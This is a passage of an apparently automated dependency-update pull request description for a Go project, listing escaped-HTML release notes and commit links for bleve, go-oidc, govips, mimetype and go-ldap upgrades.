href=\"https://github.com/capemox\"\u003e\u003ccode\u003e@​capemox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2316\"\u003eblevesearch/bleve#2316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdded check for in-memory segment merge by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2319\"\u003eblevesearch/bleve#2319\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-71607: Fixed data corruption in bolt by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2324\"\u003eblevesearch/bleve#2324\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix metrics involving NestedDocuments by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2325\"\u003eblevesearch/bleve#2325\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-71216, MB-71650: Implement fast merge over binary index classes by \u003ca href=\"https://github.com/Thejas-bhat\"\u003e\u003ccode\u003e@​Thejas-bhat\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2326\"\u003eblevesearch/bleve#2326\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpgrade to go-faiss@v1.1.0; Fix formatting, typos, etc. in docs/ by \u003ca href=\"https://github.com/abhinavdangeti\"\u003e\u003ccode\u003e@​abhinavdangeti\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2328\"\u003eblevesearch/bleve#2328\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIntroduced new file format - \u003ca href=\"https://github.com/blevesearch/zapx/tree/v17.1.2\"\u003ezapx@v17\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eMilestone\u003c/strong\u003e: \u003ca href=\"https://github.com/blevesearch/bleve/milestone/29\"\u003ehttps://github.com/blevesearch/bleve/milestone/29\u003c/a\u003e\n\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/blevesearch/bleve/compare/v2.5.7...v2.6.0\"\u003ehttps://github.com/blevesearch/bleve/compare/v2.5.7...v2.6.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/d8f2ab9a11166223bc4997143efda40ec98045e7\"\u003e\u003ccode\u003ed8f2ab9\u003c/code\u003e\u003c/a\u003e Upgrade to go-faiss@v1.1.0; Fix formatting, typos, etc. in docs/ (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2328\"\u003e#2328\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/71b13fe1cf1dbe8d0dd2115f2c1570d0a1340654\"\u003e\u003ccode\u003e71b13fe\u003c/code\u003e\u003c/a\u003e go fmt ./... (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2327\"\u003e#2327\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/2a4804932d06267104bbad8b4601a320e746ba5d\"\u003e\u003ccode\u003e2a48049\u003c/code\u003e\u003c/a\u003e MB-71216, MB-71650: Implement fast merge over binary index classes (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2326\"\u003e#2326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/a9e101a9947fa5dbffea3f3727e4e27ea6aed9b9\"\u003e\u003ccode\u003ea9e101a\u003c/code\u003e\u003c/a\u003e Fix metrics involving NestedDocuments (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2325\"\u003e#2325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/2c7269ac3e11a4fb5baebd5ca34895b4babb69d2\"\u003e\u003ccode\u003e2c7269a\u003c/code\u003e\u003c/a\u003e v2.6.0 doc fixes (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2323\"\u003e#2323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/e5e7e9e7a77a0205e2f695b61e8779a5bd9ed0f6\"\u003e\u003ccode\u003ee5e7e9e\u003c/code\u003e\u003c/a\u003e MB-71607: Fixed data corruption in bolt (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2324\"\u003e#2324\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/08e551fc149f59aee99e99732b66e95d50607871\"\u003e\u003ccode\u003e08e551f\u003c/code\u003e\u003c/a\u003e Updates to docs/vectors.md for v2.6.0 (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2320\"\u003e#2320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/7cb486d98c678a0561fb94851367f5197f27353b\"\u003e\u003ccode\u003e7cb486d\u003c/code\u003e\u003c/a\u003e Add a document for fast merge (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2321\"\u003e#2321\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/d3a4022ed0979907ae42dbea66f0d201304d062b\"\u003e\u003ccode\u003ed3a4022\u003c/code\u003e\u003c/a\u003e Added check for in-memory segment merge (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2319\"\u003e#2319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/77af9c88ecded5c284d10954b81f729771e10646\"\u003e\u003ccode\u003e77af9c8\u003c/code\u003e\u003c/a\u003e Update docs/vectors.md  (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2318\"\u003e#2318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/blevesearch/bleve/compare/v2.5.7...v2.6.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/coreos/go-oidc/v3` from 3.17.0 to 3.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/coreos/go-oidc/releases\"\u003egithub.com/coreos/go-oidc/v3's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.18.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e.github: configure dependabot by \u003ca href=\"https://github.com/ericchiang\"\u003e\u003ccode\u003e@​ericchiang\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/coreos/go-oidc/pull/477\"\u003ecoreos/go-oidc#477\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e.github: update go versions in CI by \u003ca href=\"https://github.com/ericchiang\"\u003e\u003ccode\u003e@​ericchiang\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/coreos/go-oidc/pull/480\"\u003ecoreos/go-oidc#480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump golang.org/x/oauth2 from 0.28.0 to 0.36.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/coreos/go-oidc/pull/478\"\u003ecoreos/go-oidc#478\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github.com/go-jose/go-jose/v4 from 4.1.3 to 4.1.4 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/coreos/go-oidc/pull/479\"\u003ecoreos/go-oidc#479\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/coreos/go-oidc/compare/v3.17.0...v3.18.0\"\u003ehttps://github.com/coreos/go-oidc/compare/v3.17.0...v3.18.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/coreos/go-oidc/commit/da6b3bfca8af72414ee0e6e8746585ff5d206003\"\u003e\u003ccode\u003eda6b3bf\u003c/code\u003e\u003c/a\u003e build(deps): bump github.com/go-jose/go-jose/v4 from 4.1.3 to 4.1.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/coreos/go-oidc/commit/7f80694215d5eb5b28f851f35845439b1e1e9e5d\"\u003e\u003ccode\u003e7f80694\u003c/code\u003e\u003c/a\u003e build(deps): bump golang.org/x/oauth2 from 0.28.0 to 0.36.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/coreos/go-oidc/commit/7271de57587bb756318f9819796ba846b1ba875a\"\u003e\u003ccode\u003e7271de5\u003c/code\u003e\u003c/a\u003e .github: update go versions in CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/coreos/go-oidc/commit/3ccf20fdc4afab7c64881a108d6f4c17a4ecc24d\"\u003e\u003ccode\u003e3ccf20f\u003c/code\u003e\u003c/a\u003e .github: configure dependabot\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/coreos/go-oidc/compare/v3.17.0...v3.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/davidbyttow/govips/v2` from 2.16.0 to 2.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/davidbyttow/govips/releases\"\u003egithub.com/davidbyttow/govips/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.18.0\u003c/h2\u003e\n\u003ch2\u003eHighlights\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eLeak detector\u003c/strong\u003e: new \u003ccode\u003eOpenImageRefs()\u003c/code\u003e and \u003ccode\u003eAssertNoLeaks(t)\u003c/code\u003e API for tracking unclosed \u003ccode\u003eImageRef\u003c/code\u003e instances (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSplit \u003ccode\u003eImageRef\u003c/code\u003e\u003c/strong\u003e: decomposed the 2607-line god object into 8 focused files by concern — zero API changes, same public surface (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWebP shrink-on-load\u003c/strong\u003e support via scale parameter (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/516\"\u003e#516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAnimated AVIF (avis) detection\u003c/strong\u003e support (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/513\"\u003e#513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix memory leaks\u003c/strong\u003e in \u003ccode\u003evipsGetPoint\u003c/code\u003e and \u003ccode\u003evipsImageGetAsString\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/510\"\u003e#510\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix segfault\u003c/strong\u003e during animated WebP export in test suite\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReplace panics with errors\u003c/strong\u003e in \u003ccode\u003estartupIfNeeded\u003c/code\u003e and test helpers (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/522\"\u003e#522\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/523\"\u003e#523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUpdate minimum libvips\u003c/strong\u003e from 8.10 to 8.14 (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/518\"\u003e#518\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix C code bugs in \u003ccode\u003eset_image_delay\u003c/code\u003e and \u003ccode\u003elabel\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/512\"\u003e#512\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemove incorrect defers that would free internal vips pointers (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/511\"\u003e#511\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate dependencies to fix known vulnerabilities\u003c/li\u003e\n\u003cli\u003eSimplify CI workflow, align Go version with go.mod (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/519\"\u003e#519\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBreaking\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved \u003ccode\u003evips/pipeline\u003c/code\u003e package — it was a thin wrapper over \u003ccode\u003eImageRef\u003c/code\u003e methods covering ~40 of 139 methods, creating a dual-surface problem. Use \u003ccode\u003eImageRef\u003c/code\u003e methods directly.\u003c/li\u003e\n\u003cli\u003eMinimum libvips version bumped from 8.10 to 8.14\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.17.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eNew Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd built-in vipsgen code generator for auto-generating C bridge wrappers\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eNewTransparentCanvas\u003c/code\u003e helper for creating transparent RGBA images\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eGrey()\u003c/code\u003e constructor for creating gradient images\u003c/li\u003e\n\u003cli\u003eAdd fast Go \u003ccode\u003eimage.Image\u003c/code\u003e interop: \u003ccode\u003eToGoImage\u003c/code\u003e and \u003ccode\u003eNewImageFromGoImage\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eLoop\u003c/code\u003e API and preserve loop/delay metadata in \u003ccode\u003eRemoveMetadata\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd gravity function\u003c/li\u003e\n\u003cli\u003eAdd PSD support\u003c/li\u003e\n\u003cli\u003eAdd Magick Save, support ICO load\u003c/li\u003e\n\u003cli\u003eAdd access options while loading image\u003c/li\u003e\n\u003cli\u003eAdd additional image operation functions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix memory leak, panics, and race condition\u003c/li\u003e\n\u003cli\u003eFix memory leak when using multi pages\u003c/li\u003e\n\u003cli\u003eFix animated resize producing toilet-roll images\u003c/li\u003e\n\u003cli\u003eFix CMYK ICC profile ignored when embedded profile exists\u003c/li\u003e\n\u003cli\u003eFix TIFF tile dimensions zero-value crash\u003c/li\u003e\n\u003cli\u003eFix JXL type detection for ISOBMFF containers with varying box sizes\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eruntime.KeepAlive\u003c/code\u003e to prevent GC finalization during CGo calls\u003c/li\u003e\n\u003cli\u003eStop implicitly converting BMP files to PNG\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsolidate generated C bridge files into \u003ccode\u003egenerated.{c,h,go}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eConsolidate hand-written C bridge files into \u003ccode\u003eoperations.{c,h,go}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eReduce hand-written C bridge code by using generated wrappers\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/1c56c968207c748f90627c998f93be6cbbe2bbca\"\u003e\u003ccode\u003e1c56c96\u003c/code\u003e\u003c/a\u003e Add leak detector, remove pipeline, split ImageRef god object (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/ed2402c9854112076bff4f583c9537542e46be61\"\u003e\u003ccode\u003eed2402c\u003c/code\u003e\u003c/a\u003e update claude.md and remove unnecessary files\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/b8b8568af3fb38493e28952288b398d8d4f9c025\"\u003e\u003ccode\u003eb8b8568\u003c/code\u003e\u003c/a\u003e Add composable pipeline API for image transforms (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/524\"\u003e#524\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/e1b3461e4a1b6d20c0788885d8ee1bd7b59e163b\"\u003e\u003ccode\u003ee1b3461\u003c/code\u003e\u003c/a\u003e Update dependencies to fix known vulnerabilities\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/74b216dc420d24d369d21c2fe3dc90baac891d57\"\u003e\u003ccode\u003e74b216d\u003c/code\u003e\u003c/a\u003e Fix segfault during animated WebP export in test suite\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/4f36436b36628de0479fba2627f981dd98a637d2\"\u003e\u003ccode\u003e4f36436\u003c/code\u003e\u003c/a\u003e Simplify CI workflow: drop Coveralls, clean up steps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/e09c89dce24e9b4c731e67c6e75c5a819cf5dd1b\"\u003e\u003ccode\u003ee09c89d\u003c/code\u003e\u003c/a\u003e Remove stale build/ directory with outdated Dockerfiles\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/1d528fba548f06fa4a1f0df89d045e4ca6c2887d\"\u003e\u003ccode\u003e1d528fb\u003c/code\u003e\u003c/a\u003e Replace deprecated Export() call in ToImage() with ExportNative()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/3fad8cc6f81dd62e63833cca59b51fcdeaec4ec8\"\u003e\u003ccode\u003e3fad8cc\u003c/code\u003e\u003c/a\u003e add usage examples\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/6cf8e10a85829278ad1b0f35e73825bf2b570ff5\"\u003e\u003ccode\u003e6cf8e10\u003c/code\u003e\u003c/a\u003e Return error from startupIfNeeded instead of panicking (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/523\"\u003e#523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/davidbyttow/govips/compare/v2.16.0...v2.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/gabriel-vasile/mimetype` from 1.4.12 to 1.4.13\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gabriel-vasile/mimetype/releases\"\u003egithub.com/gabriel-vasile/mimetype's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eSupport for .hlp, .inf, .fm, .bufr\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003endjson: fix inputs truncated on the second line; fix \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/744\"\u003e#744\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/745\"\u003egabriel-vasile/mimetype#745\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebmp: harden detection against false-positives in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/746\"\u003egabriel-vasile/mimetype#746\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eos2: add support for .hlp and .inf in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/747\"\u003egabriel-vasile/mimetype#747\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ettf: harden detection in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/750\"\u003egabriel-vasile/mimetype#750\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ettf: use ints instead of string for better performance in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/751\"\u003egabriel-vasile/mimetype#751\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eframemaker: add support in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/752\"\u003egabriel-vasile/mimetype#752\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebufr: add support in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/754\"\u003egabriel-vasile/mimetype#754\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExtend: ensure MIME string normalization by \u003ca href=\"https://github.com/yzqzss\"\u003e\u003ccode\u003e@​yzqzss\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/756\"\u003egabriel-vasile/mimetype#756\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003em3u: add x-mpegurl alias by \u003ca href=\"https://github.com/AltayAkkus\"\u003e\u003ccode\u003e@​AltayAkkus\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/755\"\u003egabriel-vasile/mimetype#755\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yzqzss\"\u003e\u003ccode\u003e@​yzqzss\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/756\"\u003egabriel-vasile/mimetype#756\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/AltayAkkus\"\u003e\u003ccode\u003e@​AltayAkkus\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/755\"\u003egabriel-vasile/mimetype#755\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/gabriel-vasile/mimetype/compare/v1.4.12...v1.4.13\"\u003ehttps://github.com/gabriel-vasile/mimetype/compare/v1.4.12...v1.4.13\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/8822588d35ff221d0a72627f27a94ba58f661d89\"\u003e\u003ccode\u003e8822588\u003c/code\u003e\u003c/a\u003e build(deps): bump the github-actions group across 1 directory with 3 updates\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/dfcfd009e6cf350dd1e45c20c44de7677898e1c6\"\u003e\u003ccode\u003edfcfd00\u003c/code\u003e\u003c/a\u003e m3u: check NL after signature for fewer false-positives\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/b40e4de95a9097a763cd326d23535d9a0425778d\"\u003e\u003ccode\u003eb40e4de\u003c/code\u003e\u003c/a\u003e ndjson: remove duplicate testcase\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/b9d4202cf4890209507dd5a3756e2808cb6f2678\"\u003e\u003ccode\u003eb9d4202\u003c/code\u003e\u003c/a\u003e m3u: add x-mpegurl alias (\u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/755\"\u003e#755\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/913ef6ef3e684f6578f5c70e87e97fbff8d2f995\"\u003e\u003ccode\u003e913ef6e\u003c/code\u003e\u003c/a\u003e Extend: Ensure MIME string normalization (\u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/756\"\u003e#756\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/02cce61ca0f4f2f37f021933d1d9662f27ac0b56\"\u003e\u003ccode\u003e02cce61\u003c/code\u003e\u003c/a\u003e bufr: add support (\u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/754\"\u003e#754\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/fe42f3ef484e2fd8115c39ca19f6f7ed442bf2c6\"\u003e\u003ccode\u003efe42f3e\u003c/code\u003e\u003c/a\u003e framemaker: add support (\u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/752\"\u003e#752\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/0beb64fe109a15eac4caa03ecfb8d60557bab138\"\u003e\u003ccode\u003e0beb64f\u003c/code\u003e\u003c/a\u003e ttf: use ints instead of string for better performance (\u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/751\"\u003e#751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/3e267fccf585f4cf852d8264425c4195ebc2f390\"\u003e\u003ccode\u003e3e267fc\u003c/code\u003e\u003c/a\u003e fonts: harden TTF and OTF detection (\u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/750\"\u003e#750\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/789eb1d809d05031f88df12c386b6ce12218d83f\"\u003e\u003ccode\u003e789eb1d\u003c/code\u003e\u003c/a\u003e misc: remove an outdated TODO\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/gabriel-vasile/mimetype/compare/v1.4.12...v1.4.13\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/go-ldap/ldap/v3` from 3.4.12 to 3.4.13\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/go-ldap/ldap/releases\"\u003egithub.com/go-ldap/ldap/v3's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.4.13\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix DirSync flags encoding by \u003ca href=\"https://github.com/johnallers\"\u003e\u003ccode\u003e@​johnallers\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/571\"\u003ego-ldap/ldap#571\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRemove execute bit from test file by \u003ca href=\"https://github.com/gibmat\"\u003e\u003ccode\u003e@​gibmat\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/572\"\u003ego-ldap/ldap#572\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump golang.org/x/crypto from 0.36.0 to 0.45.0 in /v3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/573\"\u003ego-ldap/ldap#573\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate search.go: fix typo by \u003ca href=\"https://github.com/reshke\"\u003e\u003ccode\u003e@​reshke\u003c/code\u003e\u003c/a\u003e in \u003ca 